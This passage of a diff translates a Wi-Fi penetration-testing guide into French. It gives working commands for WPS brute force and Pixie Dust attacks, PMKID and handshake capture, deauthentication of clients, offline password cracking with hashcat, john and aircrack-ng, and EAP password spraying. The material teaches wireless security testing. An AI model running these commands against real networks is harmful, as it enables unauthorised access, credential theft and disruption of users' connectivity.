fil plus rapides et plus faciles. **WPS ne fonctionne que pour les réseaux sans fil qui utilisent un mot de passe** qui est crypté avec les protocoles de sécurité **WPA** Personnel ou **WPA2** Personnel. WPS ne fonctionne pas sur les réseaux sans fil qui utilisent la sécurité WEP obsolète, qui peut être facilement craquée par n'importe quel pirate avec un ensemble de outils et de compétences de base. (De [ici](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup)) -WPS uses a 8 length PIN to allow a user to connect to the network, but it's first checked the first 4 numbers and, if correct, then is checked the second 4 numbers. Then, it is possible to Brute-Force the first half and then the second half (only 11000 possibilities). +WPS utilise un code PIN de 8 chiffres pour permettre à un utilisateur de se connecter au réseau, mais les 4 premiers chiffres sont d'abord vérifiés et, s'ils sont corrects, les 4 chiffres suivants sont vérifiés. Ensuite, il est possible de faire une attaque de force brute sur la première moitié, puis sur la seconde moitié (seulement 11000 possibilités). -### WPS Bruteforce +### Brute-Force WPS -There are 2 main tools to perform this action: Reaver and Bully. +Il existe 2 outils principaux pour effectuer cette action : Reaver et Bully. -* **Reaver** has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations. -* **Bully** is a **new implementation** of the WPS brute force attack, written in C. It has several advantages over the original reaver code: fewer dependencies, improved memory and cpu performance, correct handling of endianness, and a more robust set of options. +* **Reaver** a été conçu pour être une attaque robuste et pratique contre WPS, et a été testé contre une grande variété de points d'accès et d'implémentations WPS. +* **Bully** est une **nouvelle implémentation** de l'attaque de force brute WPS, écrite en C. Il présente plusieurs avantages par rapport au code reaver original : moins de dépendances, des performances mémoire et CPU améliorées, une manipulation correcte de l'endianness et un ensemble d'options plus robuste. -This attack takes advantage of a **weakness in the eight-digit WPS PIN code**; because of this issue, the protocol **discloses information about the PIN’s first four digits**, and the **last** digit works as a **checksum**, which makes brute forcing the WPS AP easy.\ -Note that some devices include **brute-force protections**, which usually **block MAC addresses** that repeatedly try to attack. In that case, the complexity of this attack increases, because you’d have to **rotate MAC** addresses while testing PINs. - -If the WPS valid code is found, both Bully and Reaver will use it to discover the WPA/WPA2 PSK used to protect the network, so you will be able to connect anytime you need it. +Cette attaque profite d'une **faiblesse dans le code PIN WPS à huit chiffres** ; en raison de ce problème, le protocole **divulgue des informations sur les quatre premiers chiffres du PIN**, et le **dernier** chiffre sert de **checksum**, ce qui rend facile le brute forcing de l'AP WPS.\ +Notez que certains appareils incluent des **protections contre la force brute**, qui **bloquent généralement les adresses MAC** qui tentent de lancer des attaques de manière répétée. Dans ce cas, la complexité de cette attaque augmente, car vous devrez **faire tourner les adresses MAC** tout en testant les PIN. +Si le code WPS valide est trouvé, Bully et Reaver l'utiliseront pour découvrir la clé PSK WPA/WPA2 utilisée pour protéger le réseau, vous pourrez donc vous connecter à tout moment où vous en avez besoin. ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 ``` - **Smart Brute force** -Instead of starting trying every possible PIN, you should check if there are available **PINs discoveredfor the AP you are attacking** (depending of the manufacturer MAC) and the **PIN software generated PINs**. +Au lieu de commencer à essayer chaque PIN possible, vous devriez vérifier s'il existe des **PINs découverts pour l'AP que vous attaquez** (en fonction du MAC du fabricant) et les **PINs générés par le logiciel PIN**. -* The database of known PINs is made for Access Points of certain manufacturers for which it is known that they use the same WPS PINs. This database contains the first three octets of MAC-addresses and a list of corresponding PINs that are very likely for this manufacturer. -* There are several algorithms for generating WPS PINs. For example, ComputePIN and EasyBox use the MAC-address of the Access Point in their calculations. But the Arcadyan algorithm also requires a device ID. +* La base de données des PINs connus est faite pour les points d'accès de certains fabricants pour lesquels il est connu qu'ils utilisent les mêmes PINs WPS. Cette base de données contient les trois premiers octets des adresses MAC et une liste de PIN correspondants qui sont très probablement pour ce fabricant. +* Il existe plusieurs algorithmes pour générer des PINs WPS. Par exemple, ComputePIN et EasyBox utilisent l'adresse MAC du point d'accès dans leurs calculs. Mais l'algorithme Arcadyan nécessite également un identifiant de périphérique. -### WPS Pixie Dust attack +### Attaque WPS Pixie Dust -Dominique Bongard discovered that some APs have weak ways of generating **nonces** (known as **E-S1** and **E-S2**) that are supposed to be secret. If we are able to figure out what these nonces are, we can easily find the WPS PIN of an AP since the AP must give it to us in a hash in order to prove that it also knowns the PIN, and the client is not connecting to a rouge AP. These E-S1 and E-S2 are essentially the "keys to unlock the lock box" containing the WPS pin. More info here: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) - -Basically, some implementations failed in the use of random keys to encrypt the 2 parts of the the PIN(as it is discomposed in 2 parts during the authentication communication and sent to the client), so an offline attack could be used to brute force the valid PIN. +Dominique Bongard a découvert que certains AP ont des moyens faibles de générer des **nonces** (connus sous le nom de **E-S1** et **E-S2**) qui sont censés être secrets. Si nous sommes capables de comprendre ce que sont ces nonces, nous pouvons facilement trouver le PIN WPS d'un AP puisque l'AP doit nous le donner dans un hash afin de prouver qu'il connaît également le PIN, et que le client ne se connecte pas à un AP malveillant. Ces E-S1 et E-S2 sont essentiellement les "clés pour déverrouiller la boîte de verrouillage" contenant le PIN WPS. Plus d'informations ici: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) +Essentiellement, certaines implémentations ont échoué dans l'utilisation de clés aléatoires pour chiffrer les 2 parties du PIN (car il est décomposé en 2 parties pendant la communication d'authentification et envoyé au client), de sorte qu'une attaque hors ligne pourrait être utilisée pour forcer le PIN valide. ``` reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 ``` +### Attaque Null Pin -### Null Pin attack - -Some really bad implementations allowed the Null PIN to connect (very weird also). Reaver can test this (Bully cannot). - +Certaines implémentations vraiment mauvaises permettent la connexion avec un code PIN nul (très étrange aussi). Reaver peut tester cela (Bully ne le peut pas). ``` reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ``` - ### Airgeddon -All the proposed WPS attacks can be easily performed using _**airgeddon.**_ +Toutes les attaques WPS proposées peuvent être facilement effectuées en utilisant _**airgeddon.**_ ![](<../../.gitbook/assets/image (124).png>) -* 5 and 6 lets you try **your custom PIN** (if you have any) -* 7 and 8 perform the **Pixie Dust attack** -* 13 allows you to test the **NULL PIN** -* 11 and 12 will **recollect the PINs related to the selected AP from available databases** and **generate** possible **PINs** using: ComputePIN, EasyBox and optionally Arcadyan (recommended, why not?) -* 9 and 10 will test **every possible PIN** +* 5 et 6 vous permettent d'essayer **votre propre PIN** (si vous en avez un) +* 7 et 8 effectuent l'attaque **Pixie Dust** +* 13 vous permet de tester le **PIN NULL** +* 11 et 12 vont **récupérer les PINs liés à l'AP sélectionné à partir des bases de données disponibles** et **générer** des **PINs** possibles en utilisant : ComputePIN, EasyBox et éventuellement Arcadyan (recommandé, pourquoi pas ?) +* 9 et 10 vont tester **tous les PINs possibles** ## **WEP** -So broken and disappeared that I am not going to talk about it. Just know that _**airgeddon**_ have a WEP option called "All-in-One" to attack this kind of protection. More tools offer similar options. +Tellement obsolète et disparu que je ne vais pas en parler. Sachez simplement que _**airgeddon**_ a une option WEP appelée "All-in-One" pour attaquer ce type de protection. Plusieurs outils offrent des options similaires. ![](<../../.gitbook/assets/image (125).png>)
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lire les tutoriels de bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevoir des notifications sur les nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participer aux discussions de la communauté ## WPA/WPA2 PSK ### PMKID -In 2018 hashcat authors [disclosed](https://hashcat.net/forum/thread-7717.html) a new type of attack which not only relies **on one single packet**, but it doesn’t require any clients to be connected to our target AP but just communication between the attacker and the AP. +En 2018, les auteurs de hashcat ont [dévoilé](https://hashcat.net/forum/thread-7717.html) un nouveau type d'attaque qui ne repose pas seulement **sur un seul paquet**, mais qui ne nécessite pas non plus que des clients soient connectés à notre AP cible, mais seulement une communication entre l'attaquant et l'AP. -It turns out that **a lot** of modern routers append an **optional field** at the end of the **first EAPOL** frame sent by the AP itself when someone is associating, the so called `Robust Security Network`, which includes something called `PMKID` - -As explained in the original post, the **PMKID** is derived by using data which is known to us: +Il s'avère que **beaucoup** de routeurs modernes ajoutent un **champ facultatif** à la fin du **premier cadre EAPOL** envoyé par l'AP lui-même lorsqu'une personne s'associe, le soi-disant `Robust Security Network`, qui inclut quelque chose appelé `PMKID`. +Comme expliqué dans le post original, le **PMKID** est dérivé en utilisant des données qui nous sont connues : ``` PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) ``` +Puisque la chaîne "PMK Name" est constante, nous connaissons à la fois le BSSID de l'AP et de la station et le `PMK` est le même que celui obtenu à partir d'une poignée de main complète à 4 voies, c'est tout ce dont hashcat a besoin pour craquer le PSK et récupérer la phrase secrète!\ +Description obtenue à partir de [ici](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/). -**Since the “PMK Name” string is constant, we know both the BSSID of the AP and the station and the `PMK` is the same one obtained from a full 4-way handshake**, this is all hashcat needs in order to crack the PSK and recover the passphrase!\ -Description obtained from [here](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/). - -To **gather** this information and **bruteforce** locally the password you can do: - +Pour **recueillir** ces informations et **forcer** localement le mot de passe, vous pouvez faire: ```bash airmon-ng check kill airmon-ng start wlan0 @@ -340,21 +311,17 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1 #You can also obtains PMKIDs using eaphammer ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ``` - -The **PMKIDs captured** will be shown in the **console** and also **saved** inside \_ **/tmp/attack.pcap**\_\ -Now, convert the capture to **hashcat/john** format and crack it: - +Les **PMKIDs capturés** seront affichés dans la **console** et également **enregistrés** dans \_ **/tmp/attack.pcap**\_\ +Maintenant, convertissez la capture au format **hashcat/john** et craquez-la : ```bash hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` +Veuillez noter que le format correct d'un hachage contient **4 parties**, comme ceci : _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\ +\_\_Si le vôtre ne contient **que 3 parties**, alors il est **invalide** (la capture PMKID n'était pas valide). -Please note the the format of a correct hash contains **4 parts**, like: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\ -\_\_If yours **only** contains **3 parts**, then, it is **invalid** (the PMKID capture wasn't valid). - -Note that `hcxdumptool` **also capture handshakes** (something like this will appear: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). You could **transform** the **handshakes** to **hashcat**/**john** format using `cap2hccapx` - +Notez que `hcxdumptool` **capture également les poignées de main** (quelque chose comme ceci apparaîtra : **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Vous pouvez **transformer** les **poignées de main** en format **hashcat**/**john** en utilisant `cap2hccapx`. ```bash tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] @@ -362,127 +329,107 @@ hccap2john pmkid.hccapx > handshake.john john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes ``` +_J'ai remarqué que certaines poignées de main capturées avec cet outil ne pouvaient pas être craquées même en connaissant le mot de passe correct. Je recommanderais de capturer des poignées de main également de manière traditionnelle si possible, ou de capturer plusieurs d'entre elles en utilisant cet outil._ -_I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool._ - -### Handshake capture - -One way to attack **WPA/WPA2** networks is to capture a **handshake** and try to **crack** the used password **offline**. To do so you need to find the **BSSID** and **channel** of the **victim** network, and a **client** that is connected to the network.\ -Once you have that information you have to start **listening** to all the commutation of that **BSSID** in that **channel**, because hopefully the handshake will be send there: +### Capture de poignée de main +Une façon d'attaquer les réseaux **WPA/WPA2** est de capturer une **poignée de main** et d'essayer de **craquer** le mot de passe utilisé **hors ligne**. Pour ce faire, vous devez trouver le **BSSID** et le **canal** du réseau de la **victime**, ainsi qu'un **client** connecté au réseau.\ +Une fois que vous avez ces informations, vous devez commencer à **écouter** toutes les communications de ce **BSSID** dans ce **canal**, car avec un peu de chance, la poignée de main y sera envoyée : ```bash airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap ``` - -Now you need to **deauthenticate** the **client** for a few seconds so it will automatically authenticate again to the AP (please read the part of DoS to find several ways to deauthenticate a client): - +Maintenant, vous devez **déauthentifier** le **client** pendant quelques secondes afin qu'il s'authentifie automatiquement à nouveau sur le point d'accès (veuillez lire la partie sur les attaques DoS pour trouver plusieurs façons de déauthentifier un client) : ```bash aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work ``` +_Notez que lorsque le client est déauthentifié, il peut essayer de se connecter à un autre point d'accès ou, dans d'autres cas, à un autre réseau._ -_Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network._ - -Once in the `airodump-ng` appears some handshake information this means that the handshake was captured and you can stop listening: +Une fois que des informations de poignée de main apparaissent dans `airodump-ng`, cela signifie que la poignée de main a été capturée et vous pouvez arrêter d'écouter : ![](<../../.gitbook/assets/image (172) (1).png>) -Once the handshake is captured you can **crack** it with `aircrack-ng`: - +Une fois la poignée de main capturée, vous pouvez la **craquer** avec `aircrack-ng` : ``` aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap ``` - -### Check if handshake in file +### Vérifier si la poignée de main est dans le fichier **aircrack** - ```bash aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture ``` - **tshark** +`tshark` est un outil en ligne de commande qui permet de capturer et d'analyser le trafic réseau. Il est très utile pour l'analyse de paquets et la détection de problèmes de réseau. `tshark` est une alternative à `wireshark` pour les utilisateurs qui préfèrent travailler en ligne de commande. ```bash tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages. ``` - -[**cowpatty**](https://github.com/roobixx/cowpatty) - +[**cowpatty**](https://github.com/roobixx/cowpatty) est un outil de craquage de mot de passe prévu pour les réseaux sans fil. Il utilise une attaque par dictionnaire pour casser les mots de passe WPA/WPA2-PSK. ``` cowpatty -r psk-01.cap -s "ESSID" -f - ``` - -_If this tool finds an uncompleted handshake of an ESSID before the completed one, it won't detect the valid one._ +_Si cet outil trouve une poignée de main non terminée d'un ESSID avant celle qui est terminée, il ne détectera pas celle qui est valide._ **pyrit** - ```bash apt-get install pyrit #Not working for newer versions of kali pyrit -r psk-01.cap analyze ``` - ## **WPA Enterprise (MGT)** -**It** is important to talk about the **different authentication methods** that could be used by an enterprise Wifi. For this kind of Wifis you will probably find in `airodump-ng` something like this: - +Il est important de parler des **différentes méthodes d'authentification** qui pourraient être utilisées par un Wifi d'entreprise. Pour ce type de Wifi, vous trouverez probablement dans `airodump-ng` quelque chose comme ceci: ``` 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi ``` +EAP (Extensible Authentication Protocol) est le cœur de la communication d'authentification. Au-dessus de cela, un algorithme d'authentification est utilisé par le serveur pour authentifier le client (supplicant) et, dans certains cas, par le client pour authentifier le serveur. Les principaux algorithmes d'authentification utilisés dans ce cas sont : -**EAP** (Extensible Authentication Protocol) the **skull** of the **authentication communication**, on **top** of this, an **authentication algorithm** is used by the server to authenticate the **client** (**supplicant**) and in same cases by the client to authenticate the server.\ -Main authentication algorithms used in this case: +* EAP-GTC : est une méthode EAP pour prendre en charge l'utilisation de jetons matériels et de mots de passe à usage unique avec EAP-PEAP. Son implémentation est similaire à MSCHAPv2, mais n'utilise pas de challenge pair. Au lieu de cela, les mots de passe sont envoyés au point d'accès en texte clair (très intéressant pour les attaques de rétrogradation). +* EAP-MD-5 (Message Digest) : le client envoie le hachage MD5 du mot de passe. Non recommandé : vulnérable aux attaques par dictionnaire, pas d'authentification du serveur et pas de moyen de générer des clés de confidentialité équivalentes au câble (WEP) par session. +* EAP-TLS (Transport Layer Security) : il repose sur des certificats côté client et côté serveur pour effectuer l'authentification et peut être utilisé pour générer dynamiquement des clés WEP basées sur l'utilisateur et la session pour sécuriser les communications ultérieures. +* EAP-TTLS (Tunneled Transport Layer Security) : authentification mutuelle du client et du réseau via un canal (ou tunnel) chiffré, ainsi qu'un moyen de dériver des clés WEP dynamiques, par utilisateur et par session. Contrairement à EAP-TLS, EAP-TTLS ne nécessite que des certificats côté serveur (le client utilisera des informations d'identification). +* PEAP (Protected Extensible Authentication Protocol) : PEAP est comme le protocole EAP, mais crée un tunnel TLS pour protéger la communication. Ensuite, des protocoles d'authentification faibles peuvent être utilisés sur EAP car ils seront protégés par le tunnel. + * PEAP-MSCHAPv2 : cela est également connu sous le nom de PEAP car il est largement adopté. Il s'agit simplement de la vulnérable réponse/challenge appelée MSCHAPv2 sur PEAP (elle est protégée par le tunnel TLS). + * PEAP-EAP-TLS ou simplement PEAP-TLS : est très similaire à EAP-TLS, mais un tunnel TLS est créé avant l'échange de certificats. -* **EAP-GTC:** Is an EAP method to support the use of hardware tokens and one-time passwords with EAP-PEAP. Its implementation is similar to MSCHAPv2, but does not use a peer challenge. Instead, passwords are sent to the access point in **plaintext** (very interesting for downgrade attacks). -* **EAP-MD-5 (Message Digest)**: The client send the MD5 hash of the password. **Not recommended**: Vulnrable to dictionary attacks, no server authentication and no way to generate per session wired equivalent privacy (WEP) keys. -* **EAP-TLS (Transport Layer Security)**: It relies on **client-side and server-side certificates** to perform authentication and can be used to dynamically generate user-based and session-based WEP keys to secure subsequent communications. -* **EAP-TTLS (Tunneled Transport Layer Security)**: **Mutual authentication** of the client and network through an encrypted channel (or tunnel), as well as a means to derive dynamic, per-user, per-session WEP keys. Unlike EAP-TLS, **EAP-TTLS requires only server-side certificates (client will use credentials)**. -* **PEAP (Protected Extensible Authentication Protocol)**: PEAP is like the **EAP** protocol but creating a **TLS tunnel** to protect the communication. Then, weak authentication protocols can by used on top of EAP as they will be protected by the tunnel. - * **PEAP-MSCHAPv2**: This is also known as just **PEAP** because it is widely adopted. This is just the vulnerable challenge/response called MSCHAPv2 on to of PEAP (it is protected by the TLS tunnel). - * **PEAP-EAP-TLS or just PEAP-TLS**: Is very similar to **EAP-TLS** but a TLS tunnel is created before the certificates are exchanged. +Vous pouvez trouver plus d'informations sur ces méthodes d'authentification ici et ici. -You can find more information about these authentication methods [here ](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol)and [here](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html). +### Capture d'identifiants -### Username Capture +En lisant https://tools.ietf.org/html/rfc3748#page-27, il semble que si vous utilisez EAP, les messages "Identity" doivent être pris en charge, et le nom d'utilisateur sera envoyé en clair dans les messages "Response Identity". -Reading [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) it looks like if you are using **EAP** the **"Identity"** **messages** must be **supported**, and the **username** is going to be sent in **clear** in the **"Response Identity"** messages. - -Even using one of the most secure of authentication methods: **PEAP-EAP-TLS**, it is possible to **capture the username sent in the EAP protocol**. To do so, **capture a authentication communication** (start `airodump-ng` inside a channel and `wireshark` in the same interface) and filter the packets by`eapol`.\ -Inside the "**Response, Identity**" packet, the **username** of the client will appear. +Même en utilisant l'une des méthodes d'authentification les plus sécurisées : PEAP-EAP-TLS, il est possible de capturer le nom d'utilisateur envoyé dans le protocole EAP. Pour ce faire, capturez une communication d'authentification (démarrez `airodump-ng` dans un canal et `wireshark` dans la même interface) et filtrez les paquets par `eapol`. Dans le paquet "Response, Identity", le nom d'utilisateur du client apparaîtra. ![](<../../.gitbook/assets/image (150).png>) -### Anonymous Identities +### Identités anonymes -(Info taken from [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)) +(Les informations proviennent de https://www.interlinknetworks.com/app_notes/eap-peap.htm) -Both **EAP-PEAP and EAP-TTLS support identity hiding**. In a WiFi environment, the access point (AP) typically generates an EAP-Identity request as part of the association process. To preserve anonymity, the EAP client on the user’s system may respond with only enough information to allow the first hop RADIUS server to process the request, as shown in the following examples. +EAP-PEAP et EAP-TTLS prennent en charge la dissimulation d'identité. Dans un environnement WiFi, le point d'accès (AP) génère généralement une demande d'identité EAP dans le cadre du processus d'association. Pour préserver l'anonymat, le client EAP sur le système de l'utilisateur peut répondre avec suffisamment d'informations pour permettre au premier serveur RADIUS de saut de traiter la demande, comme le montrent les exemples suivants. * _**EAP-Identity = anonymous**_ -> In this example, all users will share the pseudo-user-name “anonymous”. The first hop RADIUS server is an EAP-PEAP or EAP-TTLS server which drives the server end of the PEAP or TTLS protocol. The inner (protected) authentication type will then be either handled locally or proxied to a remote (home) RADIUS server. +> Dans cet exemple, tous les utilisateurs partageront le pseudo-nom d'utilisateur "anonymous". Le premier serveur RADIUS est un serveur EAP-PEAP ou EAP-TTLS qui pilote l'extrémité serveur du protocole PEAP ou TTLS. Le type d'authentification interne (protégé) sera alors géré localement ou relayé vers un serveur RADIUS distant (domicile). -* _**EAP-Identity = anonymous@realm\_x**_ +* _**EAP-Identity = anonymous@realm_x**_ -> In this example, users belonging to different realms hide their own identity but indicate which realm they belong to so that the first hop RADIUS server may proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms which will act as the PEAP or TTLS server. The first hop server acts purely as a RADIUS relay node. +> Dans cet exemple, les utilisateurs appartenant à différents domaines masquent leur propre identité mais indiquent à quel domaine ils appartiennent afin que le premier serveur RADIUS de saut puisse relayer les demandes EAP-PEAP ou EAP-TTLS vers des serveurs RADIUS dans leurs domaines d'origine qui agiront en tant que serveur PEAP ou TTLS. Le premier serveur de saut agit purement comme un nœud de relais RADIUS. > -> Alternatively, the first hop server may act as the EAP-PEAP or EAP-TTLS server and either process the protected authentication method or proxy it to another server. This option may be used to configure different policies for different realms. +> Alternativement, le premier serveur de saut peut agir en tant que serveur EAP-PEAP ou EAP-TTLS et traiter lui-même la méthode d'authentification protégée ou la relayer vers un autre serveur. Cette option peut être utilisée pour configurer différentes politiques pour différents domaines. -In EAP-PEAP, once the PEAP server and the PEAP client establish the TLS tunnel, the PEAP server generates an EAP-Identity request and transmits it down the TLS tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity response containing the user’s true identity down the encrypted tunnel. This prevents anyone eavesdropping on the 802.11 traffic from discovering the user’s true identity. +Dans EAP-PEAP, une fois que le serveur PEAP et le client PEAP établissent le tunnel TLS, le serveur PEAP génère une demande d'identité EAP et la transmet dans le tunnel TLS. Le client répond à cette deuxième demande d'identité EAP en envoyant une réponse d'identité EAP contenant la véritable identité de l'utilisateur dans le tunnel chiffré. Cela empêche quiconque écoutant le trafic 802.11 de découvrir la véritable identité de l'utilisateur. -EAP-TTLS works slightly differently. With EAP-TTLS, the client typically authenticates via PAP or CHAP protected by the TLS tunnel. In this case, the client will include a User-Name attribute and either a Password or CHAP-Password attribute in the first TLS message sent after the tunnel is established. +EAP-TTLS fonctionne légèrement différemment. Avec EAP-TTLS, le client s'authentifie généralement via PAP ou CHAP protégé par le tunnel TLS. Dans ce cas, le client inclura un attribut User-Name et soit un attribut Password, soit un attribut CHAP-Password dans le premier message TLS envoyé après l'établissement du tunnel. -With either protocol, the PEAP/TTLS server learns the user’s true identity once the TLS tunnel has been established. The true identity may be either in the form _**user@realm**_ or simply _**user**_. If the PEAP/TTLS server is also authenticating the _**user**_, it now knows the user’s identity and proceeds with the authentication method being protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user’s home RADIUS server. This new RADIUS request has the PEAP or TTLS protocol stripped out. If the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user’s true identity – not the anonymous identity from the User-Name attribute of the incoming RADIUS request. If the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes recovered from the TLS payload are placed in the outgoing RADIUS message in place of the anonymous User-Name and TTLS EAP-Message attributes included in the incoming RADIUS request. +Avec l'un ou l'autre protocole, le serveur PEAP/TTLS apprend la véritable identité de l'utilisateur une fois que le tunnel TLS a été établi. La véritable identité peut être sous la forme de l'utilisateur@domaine ou simplement de l'utilisateur. Si le serveur PEAP/TTLS authentifie également l'utilisateur, il connaît maintenant l'identité de l'utilisateur et procède à la méthode d'authentification protégée par le tunnel TLS. Alternativement, le serveur PEAP/TTLS peut transmettre une nouvelle demande RADIUS au serveur RADIUS d'origine de l'utilisateur. Cette nouvelle demande RADIUS a le protocole PEAP ou TTLS supprimé. Si la méthode d'authentification protégée est EAP, les messages EAP internes sont transmis au serveur RADIUS d'origine de l'utilisateur sans l'enveloppe EAP-PEAP ou EAP-TTLS. L'attribut User-Name du message RADIUS sortant contient la véritable identité de l'utilisateur - pas l'identité anonyme de l'attribut User-Name de la demande RADIUS entrante. Si la méthode d'authentification protégée est PAP ou CHAP (prise en charge uniquement par TTLS), les attributs d'authentification User-Name et autres récupérés à partir de la charge utile TLS sont placés dans le message RADIUS sortant à la place de l'attribut User-Name anonyme et des attributs EAP-Message TTLS inclus dans la demande RADIUS entrante. ### EAP-Bruteforce (password spray) -If the client is expected to use a **username and password** (notice that **EAP-TLS won't be valid** in this case), then you could try to get a **list** a **usernames** (see next part) and **passwords** and try to **bruteforce** the access using [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** - +Si le client est censé utiliser un nom d'utilisateur et un mot de passe (remarquez que EAP-TLS ne sera pas valide dans ce cas), vous pouvez essayer d'obtenir une liste de noms d'utilisateur (voir la partie suivante) et de mots de passe et essayer de forcer l'accès en utilisant air-hammer. ```bash ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ``` - -You could also do this attack using `eaphammer`: - +Vous pouvez également effectuer cette attaque en utilisant `eaphammer`: ```bash ./eaphammer --eap-spray \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ @@ -490,43 +437,39 @@ You could also do this attack using `eaphammer`: --password bananas \ --user-list users.txt ``` +## Théorie des attaques client -## Client attacks Theory +### Sélection de réseau et itinérance -### Network Selection and Roaming +Bien que le protocole 802.11 ait des règles très spécifiques qui dictent comment une station peut rejoindre un ESS, il ne spécifie pas comment la station doit sélectionner un ESS auquel se connecter. De plus, le protocole permet aux stations de se déplacer librement entre les points d'accès qui partagent le même ESSID (car vous ne voudriez pas perdre la connectivité WiFi en marchant d'une extrémité d'un bâtiment à l'autre, etc.). Cependant, le protocole 802.11 ne spécifie pas comment ces points d'accès doivent être sélectionnés. De plus, même si les stations doivent être authentifiées à l'ESS pour s'associer à un point d'accès, le protocole 802.11 ne nécessite pas que le point d'accès soit authentifié à la station. -Although the 802.11 protocol has very specific rules that dictate how a station can join an ESS, it does not specify how the station should select an ESS to connect to. Additionally, the protocol allows stations to roam freely between access points that share the same ESSID (because you wouldn’t want to lose WiFi connectivity when walking from one end of a building to another, etc). However, the 802.11 protocol does not specify how these access points should be selected. Furthermore, even though stations must be authenticated to the ESS in order to associate with an access point, the 802.11 protocol does not require the access point be authenticated to the station. +### Listes de réseaux préférés (PNL) -### Preferred Network Lists (PNLs) +Chaque fois qu'une station se connecte à un réseau sans fil, l'ESSID du réseau est stocké dans la liste de réseaux préférés (PNL) de la station. La PNL est une liste ordonnée de tous les réseaux auxquels la station s'est connectée dans le passé, et chaque entrée de la PNL contient l'ESSID du réseau et toutes les informations de configuration spécifiques au réseau nécessaires pour établir une connexion. -Each time a station connects to a wireless network, the network’s ESSID is stored in the station’s Preferred Network List (PNL). The PNL is an ordered list of every network that the station has connected to in the past, and each entry in the PNL contains the network’s ESSID and any network-specific configuration information needed to establish a connection. +### Balayage passif -### Passive Scanning +Dans les réseaux d'infrastructure, les points d'accès transmettent périodiquement des trames de balise pour annoncer leur présence et leurs capacités aux stations à proximité. Les balises sont des trames diffusées, ce qui signifie qu'elles sont destinées à être reçues par toutes les stations à proximité dans la plage. Les balises incluent des informations sur les taux pris en charge par l'AP, les capacités de chiffrement, des informations supplémentaires, et surtout, les trames de balise contiennent l'ESSID de l'AP (tant que la diffusion de l'ESSID n'est pas désactivée). -In infrastructure networks, access points periodically transmit beacon frames to advertise their presence and capabilities to nearby stations. Beacons are broadcast frames, which means they are intended to be received by all nearby stations in range. Beacons include information about the AP’s supported rates, encryption capabilities, additional information, and most importantly, beacon frames contain the AP’s ESSID (as long as ESSID broadcasting is not disabled). +Lors du balayage passif, le dispositif client écoute les trames de balise des points d'accès à proximité. Si le dispositif client reçoit une trame de balise dont le champ ESSID correspond à un ESSID de la PNL du client, le client se connectera automatiquement au point d'accès qui a 